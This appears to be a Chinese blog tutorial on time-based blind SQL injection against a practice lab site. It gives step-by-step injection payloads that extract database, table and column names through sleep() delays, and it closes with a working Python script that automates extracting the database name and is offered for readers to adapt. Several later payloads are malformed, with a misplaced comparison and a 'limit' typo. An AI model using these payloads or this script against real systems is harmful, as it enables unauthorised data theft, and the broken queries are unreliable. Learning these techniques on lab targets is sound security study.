盲注(時間型)的原理分析 下篇

目錄

 

前言:

正文:

第一步 判斷是否存在注入

第二步 判斷數據庫長度

第三步:查詢數據庫庫名

第四步:查表名

第五步:查字段

python 寫 盲註腳本:

文末:


前言:

什麼是時間盲注,時間盲注就是頁面不會有回顯,沒有回顯怎麼辦?

這時候我們可以通過sleep(),讓他沉睡

爲什麼通過sleep() 可以判斷是否存在時間盲注,因爲只要執行了,就說明網址存在交互,存在交互就存在漏洞

sql注入本質或者條件:

用戶可以控制輸入

拼接了用戶輸入的數據,並且去成功的執行了

 

正文:

 

第一步 判斷是否存在注入

進入靶場,這時候我們看到了這查詢語句被雙引號包圍了~~~

這時候不要慌,我們可以閉合掉這個雙引號,然後再使用sleep(5) 來判斷

http://59.63.200.79:8815/Pass-13/index.php?id=1" and sleep(5)--+

這時候我們看到了這個靶場一直在轉圈圈,就說明這存在基於時間型的注入

 

第二步 判斷數據庫長度

使用  if() 函數

if(exp1,exp2,exp3)

如果exp1語句正確,那麼就會執行exp2,如果不正確,就會執行exp3

所以我們第一個exp可以寫:length(database())=12

exp2:  sleep(5)

exp3 :  1

這時候再代入if這裏面

if(length(database())=12,sleep(5),1)

然後我們看上面那個靶場,查詢語句。說明我們還需要閉合註釋

於是就成功了,如下圖

 

第三步:查詢數據庫庫名

這裏就運用到了substr和ascii

id=1" and if(ascii(substr(database(),1,1))>=50,sleep(5),1)--+

然後就成功的延遲了,獲取到了第一個字符

我們可以用二分法,或者是把 >= 改爲 =  

然後使用burp爆破也可以

基於時間型盲注比較繁瑣,所以能工具,就工具!!!!!

 

第四步:查表名

把database() 替換成 查表的語句,可以先看一下長度是多少

別看着感覺好長,其實可以先寫查詢語句,然後再寫substr函數,然後再寫ascii,再寫if

這樣就不會被括號啥的弄暈了~~~~~

id=1" and if(ascii(substr((select length(table_name) from information_schema.tables where table_schema=database() limit 0,1) >=1,1,1)),sleep(5),1)--+

判斷後再把length去掉,就是查詢表的語句

id=1" and if(ascii(substr((select table_name from information_schema.tables
 where table_schema=database() limit 0,1) >=1,1,1)),sleep(5),1)--+

我換行了一下,這樣看的比較清楚


第五步:查字段

id=1" and if(ascii(substr((select column_name from information_schema.columns 
where table_schema=database() and table_name='XXXX'imit 0,1) >=1,1,1)),sleep(5),1)--+

查詢字段裏面的查詢語句,跟前面的union注入一樣的語句。只不過多加了幾個函數

仔細看看就懂了

查詢數據就不說了,跟前面的一樣

 

python 寫 盲註腳本:

時間型盲注的腳本和布爾型的盲注都一樣。根據了i春秋上面的一個大佬的腳本

然後我修改了那麼一點點。header頭其實可要可不要。怕實戰中會檢測這些。所以那位前輩加了個header

也只是調用了requests和time模塊

然後嵌套循環。沒啥技術難度。就是估計頭會暈

放在這,各位大佬初學python的。可以改一改,或者加個命令行參數的

import requests
import time

headers = {"user-agent": "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; 360SE)"}
chars = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.'
database = ''

global length
def get_db():
    for l in range(1, 20):
        lengthUrl = 'http://59.63.200.79:8815/Pass-13/index.php?id=1" and if(length(database())>{0},1,sleep(3))--+'
        lengthUrlFormat = lengthUrl.format(l)
        start_time0 = time.time()
        rsp0 = requests.get(lengthUrlFormat, headers=headers)
        if time.time() - start_time0 > 2.5:
            print('[-]database length:' + str(l))
            global length
            length = l
            break
        else:
            pass

    for i in range(1, length + 1):
        for char in chars:
            charAscii = ord(char)
            url = 'http://59.63.200.79:8815/Pass-13/index.php?id=1" and if(ascii(substr(database(),{0},1))>{1},1,sleep(3))--+'
            urlformat = url.format(i, charAscii)
            start_time = time.time()
            rsp = requests.get(urlformat, headers=headers)
            if time.time() - start_time > 2.5:
                global database
                database += char
                print('[+]database runing: '+ database + "...")
                break
            else:
                pass
    print('database:' + database)

if __name__=='__main__':
    start = time.time()
    get_db()
    end = time.time()
    t = int(end - start)
    print("The url test time: %ss"%t)

效果圖

 

文末:

似乎沒有什麼想說的了

這樣寫目錄比較好看,咳咳

其實推薦個學習方法。理解漏洞的原理,然後通過腳本方式去代替。因爲腳本是代替人力的

所以寫腳本的時候,對漏洞理解,或者查詢語句的印象會更深

 

 

 

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章